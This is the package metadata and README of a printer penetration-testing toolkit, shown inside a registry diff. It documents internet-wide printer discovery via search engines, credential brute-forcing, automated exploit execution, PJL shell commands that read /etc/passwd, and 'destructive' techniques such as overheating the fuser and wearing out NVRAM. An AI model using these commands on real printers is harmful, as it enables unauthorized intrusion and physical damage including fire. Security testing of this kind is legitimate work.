printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,919 @@
1
+ Metadata-Version: 2.4
2
+ Name: printerxpl-forge
3
+ Version: 6.2.0
4
+ Summary: Advanced Printer Penetration Testing Toolkit — PJL, PostScript, PCL, CVE scanner, brute-force, pivot, C2 research — 185 exploit modules
5
+ Author-email: Andre Henrique <mrhenrike@users.noreply.github.com>
6
+ License: MIT License
7
+
8
+ Copyright (c) 2024-2026 André Henrique (https://github.com/mrhenrike)
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+
28
+ Project-URL: Homepage, https://www.uniaogeek.com.br/printerxpl-forge
29
+ Project-URL: Repository, https://github.com/mrhenrike/PrinterXPL-Forge
30
+ Project-URL: Issues, https://github.com/mrhenrike/PrinterXPL-Forge/issues
31
+ Project-URL: Wiki, https://github.com/mrhenrike/PrinterXPL-Forge/wiki
32
+ Project-URL: Changelog, https://github.com/mrhenrike/PrinterXPL-Forge/releases
33
+ Keywords: printer,penetration-testing,pjl,postscript,pcl,security,exploitation,iot,hacking,printer-security,snmp,ipp,pret,network-printer
34
+ Classifier: Development Status :: 5 - Production/Stable
35
+ Classifier: Environment :: Console
36
+ Classifier: Intended Audience :: Information Technology
37
+ Classifier: Intended Audience :: System Administrators
38
+ Classifier: Topic :: Security
39
+ Classifier: Topic :: System :: Networking
40
+ Classifier: License :: OSI Approved :: MIT License
41
+ Classifier: Programming Language :: Python :: 3
42
+ Classifier: Programming Language :: Python :: 3.8
43
+ Classifier: Programming Language :: Python :: 3.9
44
+ Classifier: Programming Language :: Python :: 3.10
45
+ Classifier: Programming Language :: Python :: 3.11
46
+ Classifier: Programming Language :: Python :: 3.12
47
+ Classifier: Programming Language :: Python :: 3.13
48
+ Classifier: Operating System :: OS Independent
49
+ Classifier: Operating System :: POSIX :: Linux
50
+ Classifier: Operating System :: Microsoft :: Windows
51
+ Classifier: Operating System :: MacOS
52
+ Requires-Python: >=3.8
53
+ Description-Content-Type: text/markdown
54
+ License-File: LICENSE
55
+ Requires-Dist: requests>=2.31.0
56
+ Requires-Dist: urllib3>=2.0.0
57
+ Requires-Dist: colorama>=0.4.6
58
+ Requires-Dist: pysnmp-lextudio>=5.0.31
59
+ Requires-Dist: pyasn1<0.6,>=0.4.8
60
+ Requires-Dist: PyYAML>=6.0
61
+ Provides-Extra: smb
62
+ Requires-Dist: pysmb>=1.2.9; extra == "smb"
63
+ Requires-Dist: impacket>=0.12.0; extra == "smb"
64
+ Provides-Extra: osint
65
+ Requires-Dist: shodan>=1.28.0; extra == "osint"
66
+ Requires-Dist: censys>=2.2.0; extra == "osint"
67
+ Provides-Extra: ml
68
+ Requires-Dist: scikit-learn>=1.3.0; extra == "ml"
69
+ Requires-Dist: joblib>=1.3.0; extra == "ml"
70
+ Provides-Extra: dev
71
+ Requires-Dist: pytest>=7.0.0; extra == "dev"
72
+ Requires-Dist: pytest-timeout>=2.1.0; extra == "dev"
73
+ Requires-Dist: build>=1.0.0; extra == "dev"
74
+ Requires-Dist: twine>=5.0.0; extra == "dev"
75
+ Provides-Extra: nse
76
+ Provides-Extra: full
77
+ Requires-Dist: pysmb>=1.2.9; extra == "full"
78
+ Requires-Dist: impacket>=0.12.0; extra == "full"
79
+ Requires-Dist: shodan>=1.28.0; extra == "full"
80
+ Requires-Dist: censys>=2.2.0; extra == "full"
81
+ Requires-Dist: scikit-learn>=1.3.0; extra == "full"
82
+ Requires-Dist: joblib>=1.3.0; extra == "full"
83
+ Dynamic: license-file
84
+
85
+ <div align="center">
86
+
87
+ # PrinterXPL-Forge
88
+
89
+ *Advanced Printer Penetration Testing Toolkit*
90
+
91
+ **Discover · Fingerprint · Exploit · Pivot · Report**
92
+
93
+ [![Python](https://img.shields.io/badge/Python-3.8%2B-blue)](https://python.org)
94
+ [![License](https://img.shields.io/badge/License-MIT-green)](LICENSE)
95
+ [![GitHub](https://img.shields.io/badge/GitHub-mrhenrike-black?logo=github)](https://github.com/mrhenrike/PrinterXPL-Forge)
96
+ [![Wiki](https://img.shields.io/badge/Wiki-English-orange)](https://github.com/mrhenrike/PrinterXPL-Forge/wiki)
97
+ [![Wiki PT-BR](https://img.shields.io/badge/Wiki-Portugu%C3%AAs-green)](https://github.com/mrhenrike/PrinterXPL-Forge/wiki/Home-pt-BR)
98
+ [![Version](https://img.shields.io/badge/version-6.2.0-red)](https://github.com/mrhenrike/PrinterXPL-Forge/releases)
99
+
100
+ > **"Is your printer safe from the void? Find out before someone else does."**
101
+
102
+ **[Wiki (en-us)](https://github.com/mrhenrike/PrinterXPL-Forge/wiki)** · **[Wiki (pt-br)](https://github.com/mrhenrike/PrinterXPL-Forge/wiki/Home-pt-BR)** · **[Issues](https://github.com/mrhenrike/PrinterXPL-Forge/issues)** · **[Releases](https://github.com/mrhenrike/PrinterXPL-Forge/releases)** · **[CONTRIBUTING](CONTRIBUTING.md)** · **[CODE_OF_CONDUCT](CODE_OF_CONDUCT.md)** · **[README (pt-BR)](README.pt-BR.md)**
103
+
104
+ </div>
105
+
106
+ ---
107
+
108
+ PrinterXPL-Forge is a complete, modular framework for security assessment of network printers. It covers all major printer languages (PJL, PostScript, PCL, ESC/P), all common protocols (RAW, IPP, LPD, SMB, HTTP, SNMP, FTP, Telnet, WSD, TFTP), **185 exploit modules**, an external wordlist-driven credential engine with zero hardcoded passwords, ML-assisted fingerprinting, NVD/CVE integration (120 CVEs), automated lateral movement, firmware analysis, and Cross-Site Printing payloads. Multi-language exploit orchestration (Python, C/C++ via WSL gcc, Ruby/Metasploit, Go, Rust) is handled by the built-in `poly_runner` engine.
109
+
110
+ ---
111
+
112
+ ## Architecture — Printer Attack Surface
113
+
114
+ ![Printer Attack Surface](img/printer_architecture.png)
115
+
116
+ ---
117
+
118
+ ## Operational Workflow
119
+
120
+ ![PrinterXPL-Forge Workflow](img/PrinterXPL-Forge_workflow.png)
121
+
122
+ > Flow source files (editable in [draw.io](https://app.diagrams.net)): `diagrams/PrinterXPL-Forge_workflow.drawio` · `diagrams/credential_flow.drawio` · `diagrams/attack_matrix.drawio`
123
+
124
+ ---
125
+
126
+ ## Attack Coverage Matrix
127
+
128
+ ![Attack Coverage Matrix](img/attack_coverage_matrix.png)
129
+
130
+ ---
131
+
132
+ ## Destructive / Irreversible Attacks
133
+
134
+ > **WARNING — FOR AUTHORIZED LAB USE ONLY.**
135
+ > The attacks below cause **permanent, irreversible hardware damage**. They are implemented for security research and authorized penetration testing exclusively. Operators bear full legal and physical safety responsibility.
136
+
137
+ PrinterXPL-Forge includes a dedicated **Destructive Attack Audit** mode that scans any target printer for all known irreversible attack vectors:
138
+
139
+ ```bash
140
+ # Assess-only (dry-run — SAFE, no payloads sent)
141
+ python src/main.py 192.168.1.100 --destructive-audit
142
+
143
+ # Live execution — sends destructive payloads (AUTHORIZED LAB ONLY)
144
+ python src/main.py 192.168.1.100 --destructive-audit --no-dry
145
+
146
+ # Specific modules only
147
+ python src/main.py 192.168.1.100 --destructive-audit \
148
+ --destructive-modules research-fuser-thermal-attack,research-brother-nvram
149
+
150
+ # Interactive menu: choose option [D] DESTRUCTIVE AUDIT
151
+ python src/main.py
152
+ ```
153
+
154
+ ### Implemented Physical Destruction Modules
155
+
156
+ | Module | Attack | Damage Class | Vendors |
157
+ |--------|--------|-------------|---------|
158
+ | `research-fuser-thermal-attack` | PJL SET FUSETEMP / PS setpagedevice /FuserTemperature override → thermal runaway | **PHYSICAL — Fire risk** | HP, Kyocera, Ricoh, Xerox |
159
+ | `research-motor-jam-attack` | HP PML DMCMD motor commands / duplex-stress cycling → gear strip / roller burnout | **PHYSICAL — Mechanical** | HP, Ricoh, Generic |
160
+ | `research-laser-scanner-attack` | PS setscreen 9999 lpi + all-black flood / HP PML laser power 0xFF → diode/drum burn | **PHYSICAL — Optical** | HP, Xerox, Ricoh, Canon |
161
+ | `research-pjl-nvram-damage` | PJL DEFAULT COPIES loop → NVRAM write-cycle exhaustion (~100k cycles) | **NVRAM Brick** | HP, Brother, Konica, Lexmark |
162
+ | `research-brother-nvram` | PJL COLLATE ON/OFF × 200,000 iterations → permanent chip burnout | **NVRAM Brick** | Brother |
163
+ | `research-generic-pjl-nvram` | PJL DINQUIRE/SET VARIABLE access → NVRAM read + optional write | **NVRAM Risk** | HP, Lexmark, Dell |
164
+ | `research-snmp-factory-reset` | SNMP prtGeneralReset OID = 6 (no auth) → complete factory wipe | **Config Wipe** | Multi-vendor |
165
+ | `research-xerox-pjl-dlm` | @PJL DLM START → firmware download manager activation | **Firmware Brick** | Xerox |
166
+ | `research-xerox-firmware-root` | HTTP POST /FirmwareUpdate with crafted DLM → rootkit / brick | **Firmware Brick** | Xerox |
167
+ | `edb-45273` (CVE-2017-2741) | PJL FSDOWNLOAD to /etc/profile.d/ + SNMP restart → persistent root | **Firmware Root** | HP PageWide/OfficeJet |
168
+
169
+ ### Physical Damage Details
170
+
171
+ **Fuser Thermal Attack** — The fuser unit operates at 170–210°C. PJL commands like `@PJL SET FUSETEMP=270` (or PostScript `<< /FuserTemperature 270 >> setpagedevice`) push the temperature above the roller material's thermal tolerance. At >270°C, the PTFE fuser sleeve melts; at >285°C, paper residue inside the fuser can ignite.
172
+
173
+ **Motor Jamming** — HP's PML DMCMD interface (service manual) allows direct motor activation. Sending simultaneous commands to mechanically exclusive motors (main feed + pickup + exit) without paper in the path causes gear binding, stripping the plastic drive train.
174
+
175
+ **Laser Scanner Attack** — PostScript `setscreen` with frequency 9999 lpi forces the laser diode to fire at 100% duty cycle continuously. This accelerates diode degradation, overheats the polygon mirror motor bearings, and ablates the photosensitive drum coating — permanently degrading print quality or bricking the LSU.
176
+
177
+ ---
178
+
179
+ ## Credential Architecture — Zero Hardcoded Passwords
180
+
181
+ ![Credential Wordlist Flow](img/credential_wordlist_flow.png)
182
+
183
+ ---
184
+
185
+ ## PrinterXPL-Forge vs PRET — Benchmark
186
+
187
+ [PRET](https://github.com/RUB-NDS/PRET) (Printer Exploitation Toolkit) is the reference tool from the BlackHat 2017 research by Müller et al. PrinterXPL-Forge was initially forked from it and has since been rewritten and massively extended.
188
+
189
+ | Feature | PRET | PrinterXPL-Forge v5.0.0 |
190
+ |---------|------|----------------------|
191
+ | **Languages** | PJL, PS, PCL | PJL, PS, PCL, ESC/P, auto |
192
+ | **Protocols** | RAW, LPD, IPP, USB | RAW, LPD, IPP, SMB, HTTP, SNMP, FTP, Telnet |
193
+ | **CVE Database** | None | 90+ CVEs built-in + NVD API live lookup |
194
+ | **Exploit Library** | None | **150 modules** (ExploitDB 25, Metasploit 19, Research 80, Core 26) — 110 CVEs catalogued |
195
+ | **Brute-Force** | None | HTTP, FTP, SNMP, Telnet — wordlist-driven, 0 hardcoded creds |
196
+ | **Credential Engine** | None | External wordlists, vendor sections, token expansion, variations |
197
+ | **Network Discovery** | None | SNMP sweep, Shodan, Censys, WSD, installed printers |
198
+ | **Fingerprinting** | Basic banner | Multi-protocol banner grab + ML classifier |
199
+ | **CVE Scan** | None | NVD API + offline fallback + auto exploit matching |
200
+ | **ML Engine** | None | scikit-learn fingerprinting + attack scoring |
201
+ | **Lateral Movement** | None | SSRF via IPP/WSD, network map, LDAP NTLM hash capture |
202
+ | **Firmware Analysis** | None | Version extraction, upload endpoint check, NVRAM r/w |
203
+ | **Storage Audit** | None | FTP, web file manager, SNMP MIB dump, saved jobs |
204
+ | **Cross-Site Printing** | None | XSP + CORS spoofing payload generator (5 attack types) |
205
+ | **Attack Matrix** | None | Full BlackHat 2017 campaign + 2024-2025 CVEs |
206
+ | **Send Print Job** | Partial | Any format: .ps/.pcl/.pdf/.txt/.png/.jpg/.doc + raw |
207
+ | **Interactive Menu** | None | Full guided TUI with next-steps and hints |
208
+ | **Config / API Keys** | None | config.json with Shodan, Censys, NVD, ML flags |
209
+ | **Python Version** | 2.7 (legacy) | 3.8+ (typed, async-capable) |
210
+ | **Windows Support** | Limited | Full (PowerShell launchers, EDR-safe venv) |
211
+ | **IPv6** | No | Yes |
212
+ | **SMB** | No | Yes (pysmb) |
213
+ | **Wiki / Docs** | Basic README | Full GitHub wiki + draw.io diagrams |
214
+
215
+ **Summary:** PrinterXPL-Forge covers the same core PJL/PS/PCL shell as PRET plus a complete post-exploitation, discovery, brute-force, CVE, and lateral movement framework on top.
216
+
217
+ ---
218
+
219
+ ## Installation
220
+
221
+ ```bash
222
+ git clone https://github.com/mrhenrike/PrinterXPL-Forge.git
223
+ cd PrinterXPL-Forge
224
+
225
+ python -m venv .venv
226
+ source .venv/bin/activate # Linux / macOS
227
+ .venv\Scripts\activate # Windows PowerShell
228
+
229
+ pip install -r requirements.txt
230
+ python printerxpl-forge.py --version
231
+ # → PrinterXPL-Forge Version 3.7.0 (2026-03-25)
232
+ ```
233
+
234
+ **Requirements:** Python 3.8+ · Windows / Linux / macOS · 80 MB disk
235
+
236
+ ---
237
+
238
+ ## Entry Point
239
+
240
+ ```bash
241
+ python printerxpl-forge.py [target] [mode] [options]
242
+ ```
243
+
244
+ | Example | What it does |
245
+ |---------|-------------|
246
+ | `python printerxpl-forge.py` | Interactive guided menu |
247
+ | `python printerxpl-forge.py --help` | Full flag reference |
248
+ | `python printerxpl-forge.py 192.168.1.100 --scan` | Passive fingerprint + CVE scan |
249
+ | `python printerxpl-forge.py 192.168.1.100 pjl` | PJL interactive shell |
250
+ | `python printerxpl-forge.py 192.168.1.100 --bruteforce --bf-vendor epson` | Credential brute-force |
251
+ | `python printerxpl-forge.py 192.168.1.100 --auto-exploit` | Auto exploit selection + execution |
252
+ | `python printerxpl-forge.py 192.168.1.100 --attack-matrix` | Full attack campaign |
253
+ | `python printerxpl-forge.py --discover-online --shodan --dork-vendor hp --dork-country BR` | Dork discovery via Shodan only |
254
+ | `python printerxpl-forge.py --discover-online --dork-engine shodan,netlas --dork-vendor hp,epson --dork-country BR,AR` | Multi-engine, multi-vendor CSV |
255
+ | `python printerxpl-forge.py --discover-online --dork-vendor hp --dork-country BR` | Dork discovery via all configured engines |
256
+
257
+ ---
258
+
259
+ ## Custom Port Overrides
260
+
261
+ By default PrinterXPL-Forge uses standard printer port numbers for each protocol. When the target printer listens on non-standard ports, override them globally via CLI flags — all modules automatically pick up the new ports:
262
+
263
+ ```bash
264
+ # Printer with RAW on 3910 instead of 9100
265
+ python printerxpl-forge.py 192.168.1.100 pjl --port-raw 3910
266
+
267
+ # Full scan on a printer with non-standard ports
268
+ python printerxpl-forge.py 192.168.1.100 --scan \
269
+ --port-raw 3910 \
270
+ --port-ipp 8631 \
271
+ --port-snmp 1161
272
+
273
+ # Add extra ports to banner scan sweep
274
+ python printerxpl-forge.py 192.168.1.100 --scan \
275
+ --extra-ports 9200 --extra-ports 7100
276
+
277
+ # Brute-force with custom HTTP and FTP ports
278
+ python printerxpl-forge.py 192.168.1.100 --bruteforce \
279
+ --port-http 8080 --port-ftp 2121 --port-telnet 2323
280
+
281
+ # Attack campaign respects all overrides
282
+ python printerxpl-forge.py 192.168.1.100 --attack-matrix --port-raw 3910
283
+ ```
284
+
285
+ **Port override flags:**
286
+
287
+ | Flag | Protocol | Default |
288
+ |------|----------|---------|
289
+ | `--port-raw PORT` | RAW/PJL/JetDirect | 9100 |
290
+ | `--port-ipp PORT` | IPP | 631 |
291
+ | `--port-lpd PORT` | LPD/LPR | 515 |
292
+ | `--port-snmp PORT` | SNMP | 161 |
293
+ | `--port-ftp PORT` | FTP management | 21 |
294
+ | `--port-http PORT` | HTTP (EWS) | 80 |
295
+ | `--port-https PORT` | HTTPS (EWS) | 443 |
296
+ | `--port-smb PORT` | SMB/CIFS | 445 |
297
+ | `--port-telnet PORT` | Telnet management | 23 |
298
+ | `--extra-ports PORT` | Extra scan port (repeatable) | — |
299
+
300
+ Overrides are applied globally at startup — every module (banner scan, PJL, firmware, SNMP, FTP, brute-force, attack orchestrator, XSP payload) reads from `PortConfig` instead of using hardcoded constants.
301
+
302
+ ---
303
+
304
+ ## 1. Discovery
305
+
306
+ ### Local
307
+
308
+ ```bash
309
+ # SNMP sweep + installed printers on this host
310
+ python printerxpl-forge.py --discover-local
311
+
312
+ # Passive OSINT check for a specific IP
313
+ python printerxpl-forge.py 192.168.1.100 --osint
314
+
315
+ # Detect supported languages without connecting
316
+ python printerxpl-forge.py 192.168.1.100 --auto-detect
317
+ ```
318
+
319
+ ### Online — Structured Dork Discovery (v3.12.0+)
320
+
321
+ `--discover-online` supports 5 search engines: **Shodan, Censys, FOFA, ZoomEye, Netlas**.
322
+ **Printer context is always implicit** — no need to specify "printer" in searches.
323
+ **At least one `--dork-*` filter is required** — unfiltered global sweeps are blocked.
324
+ **No engine runs without credentials** — configure keys in `config.json`.
325
+
326
+ ```bash
327
+ # All Epson + Ricoh printers in Latin America, port 515 — all engines
328
+ python printerxpl-forge.py --discover-online \
329
+ --dork-vendor epson,ricoh \
330
+ --dork-region latin_america \
331
+ --dork-port 515
332
+
333
+ # HP DeskJet Pro 5500 in Brazil — Shodan only (single engine flag)
334
+ python printerxpl-forge.py --discover-online --shodan \
335
+ --dork-vendor hp \
336
+ --dork-model "deskjet pro 5500" \
337
+ --dork-country BR
338
+
339
+ # All printers in São Paulo port 9100 (CSV + single-country city filter)
340
+ python printerxpl-forge.py --discover-online \
341
+ --dork-country BR \
342
+ --dork-city "Sao Paulo","Rio de Janeiro" \
343
+ --dork-port 9100
344
+
345
+ # Kyocera in Europe, 200 results — Netlas only
346
+ python printerxpl-forge.py --discover-online --netlas \
347
+ --dork-vendor kyocera \
348
+ --dork-region europe \
349
+ --dork-limit 200
350
+
351
+ # Multiple vendors and countries via CSV — Shodan + ZoomEye (multi-engine)
352
+ python printerxpl-forge.py --discover-online \
353
+ --dork-engine shodan,zoomeye \
354
+ --dork-vendor hp,canon \
355
+ --dork-country BR,AR \
356
+ --dork-port 9100,631
357
+
358
+ # Five engines at once
359
+ python printerxpl-forge.py --discover-online \
360
+ --dork-engine shodan,censys,fofa,zoomeye,netlas \
361
+ --dork-vendor epson --dork-port 9100
362
+ ```
363
+
364
+ **Engine selection rules:**
365
+
366
+ | Goal | How |
367
+ |------|-----|
368
+ | ONE engine | `--shodan` / `--censys` / `--fofa` / `--zoomeye` / `--netlas` |
369
+ | MULTIPLE engines | `--dork-engine shodan,netlas` (comma-separated — the **only** multi-engine way) |
370
+ | ALL configured | Omit all engine flags |
371
+ | Forbidden | `--shodan --fofa` (two individual flags) or `--shodan --dork-engine fofa` (mix) → error |
372
+
373
+ **Dork filter flags — all accept CSV or repeated flags:**
374
+
375
+ | Flag | Multi-value | Description |
376
+ |------|------------|-------------|
377
+ | `--dork-vendor hp,epson` | Yes — CSV or repeat | Vendor: hp, epson, ricoh, brother, canon, kyocera, xerox, lexmark, samsung, oki, zebra |
378
+ | `--dork-model MODEL` | No | Model substring in banner |
379
+ | `--dork-country BR,AR,US` | Yes — CSV or repeat | ISO-2 code or name: BR, brazil, argentina, DE |
380
+ | `--dork-city "São Paulo",Belém` | Yes — **only with 1 country** | City names; compound names must be quoted |
381
+ | `--dork-region latin_america,europe` | Yes — CSV or repeat | Region: latin\_america, south\_america, europe, eastern\_europe, asia, southeast\_asia, middle\_east, africa, oceania, north\_america |
382
+ | `--dork-port 9100,515,631` | Yes — CSV or repeat | 9100 (RAW/PJL), 515 (LPD), 631 (IPP), 80 (HTTP), 443 (HTTPS) |
383
+ | `--dork-org ORG` | No | Organization/ISP name |
384
+ | `--dork-cpe CPE` | No | CPE filter (Censys/Netlas) |
385
+ | `--dork-limit N` | No | Max results per query per engine (default: 100) |
386
+
387
+ **Query syntax generated per engine (implicit + your filters):**
388
+
389
+ | Engine | Example generated query |
390
+ |--------|------------------------|
391
+ | Shodan | `"HP LaserJet" country:BR port:9100` |
392
+ | Censys | `services.banner="HP LaserJet" AND location.country_code="BR" AND services.port=9100` |
393
+ | FOFA | `banner="HP LaserJet" && country="BR" && port="9100"` |
394
+ | ZoomEye | `banner:"HP LaserJet" +country:"BR" +port:9100` |
395
+ | Netlas | `data.response:"HP LaserJet" AND geo.country_code:"BR" AND port:9100` |
396
+
397
+ ---
398
+
399
+ ## 2. Reconnaissance
400
+
401
+ ```bash
402
+ # Full passive scan: banner grab + CVE/NVD lookup + exploit matching
403
+ python printerxpl-forge.py 192.168.1.100 --scan
404
+
405
+ # Same + ML fingerprinting and attack scoring
406
+ python printerxpl-forge.py 192.168.1.100 --scan-ml
407
+
408
+ # Offline (skip NVD API)
409
+ python printerxpl-forge.py 192.168.1.100 --scan --no-nvd
410
+
411
+ # Scan + immediately match exploit modules
412
+ python printerxpl-forge.py 192.168.1.100 --scan --xpl
413
+
414
+ # Combined: scan auto-populates vendor + serial for bruteforce
415
+ python printerxpl-forge.py 192.168.1.100 --scan --bruteforce
416
+ ```
417
+
418
+ ---
419
+
420
+ ## 3. Interactive Shell
421
+
422
+ ```bash
423
+ # Auto-detect best language
424
+ python printerxpl-forge.py 192.168.1.100 auto
425
+
426
+ # Specific languages
427
+ python printerxpl-forge.py 192.168.1.100 pjl # PJL: filesystem, NVRAM, control
428
+ python printerxpl-forge.py 192.168.1.100 ps # PostScript: operators, job capture
429
+ python printerxpl-forge.py 192.168.1.100 pcl # PCL: macro filesystem
430
+
431
+ # Debug, batch, log modes
432
+ python printerxpl-forge.py 192.168.1.100 pjl --debug
433
+ python printerxpl-forge.py 192.168.1.100 pjl -i commands.txt -o session.log -q
434
+ ```
435
+
436
+ **Key PJL commands:**
437
+
438
+ ```bash
439
+ 192.168.1.100:/> id # model, firmware, serial
440
+ 192.168.1.100:/> network # IP, gateway, DNS, WINS, MAC
441
+ 192.168.1.100:/> ls / # filesystem listing
442
+ 192.168.1.100:/> cat /etc/passwd # read file
443
+ 192.168.1.100:/> download /webServer/config/soe.xml
444
+ 192.168.1.100:/> nvram read # NVRAM dump
445
+ 192.168.1.100:/> display "HACKED"
446
+ 192.168.1.100:/> destroy # NVRAM damage (lab only)
447
+ ```
448
+
449
+ ---
450
+
451
+ ## 4. Auto Exploit (v3.8.0)
452
+
453
+ Automatic exploit selection, verification, parameter pre-filling, and execution.
454
+
455
+ ```bash
456
+ # Auto exploit (dry-run — safe)
457
+ python printerxpl-forge.py 192.168.1.100 --auto-exploit
458
+
459
+ # With serial number pre-filled to exploits that require it
460
+ python printerxpl-forge.py 192.168.1.100 --auto-exploit --bf-serial XAABT77481
461
+
462
+ # Live exploitation — AUTHORIZED LABS ONLY
463
+ python printerxpl-forge.py 192.168.1.100 --auto-exploit --no-dry
464
+
465
+ # Restrict to a specific source
466
+ python printerxpl-forge.py 192.168.1.100 --auto-exploit --xpl-source exploit-db
467
+
468
+ # Check more candidates, run top 3
469
+ python printerxpl-forge.py 192.168.1.100 --auto-exploit \
470
+ --auto-exploit-limit 15 \
471
+ --auto-exploit-run 3
472
+
473
+ # Force a custom exploit file (parameters auto-filled)
474
+ python printerxpl-forge.py 192.168.1.100 --auto-exploit \
475
+ --auto-exploit-file /path/to/my_exploit.py \
476
+ --bf-serial XAABT77481
477
+ ```
478
+
479
+ **Algorithm:**
480
+ 1. Quick fingerprint (banner grab, SNMP, HTTP, IPP)
481
+ 2. Match exploit modules against detected make/model/firmware/CVEs
482
+ 3. Sort candidates by CVSS score descending
483
+ 4. Run non-destructive `check()` on top N candidates
484
+ 5. Pre-fill `host`, `port`, `serial`, `mac`, `vendor` automatically
485
+ 6. Execute `run()` on top confirmed-vulnerable exploit(s)
486
+ 7. Print ranked summary of all checked exploits
487
+
488
+ ---
489
+
490
+ ## 5. Credential Brute-Force
491
+
492
+ ```bash
493
+ # Auto-detect vendor, use default wordlist
494
+ python printerxpl-forge.py 192.168.1.100 --bruteforce
495
+
496
+ # Explicit vendor + serial (Epson / HP / Canon)
497
+ python printerxpl-forge.py 192.168.1.100 --bruteforce --bf-vendor epson --bf-serial XAABT77481
498
+
499
+ # MAC-based tokens (OKI, Brother, Kyocera KR2)
500
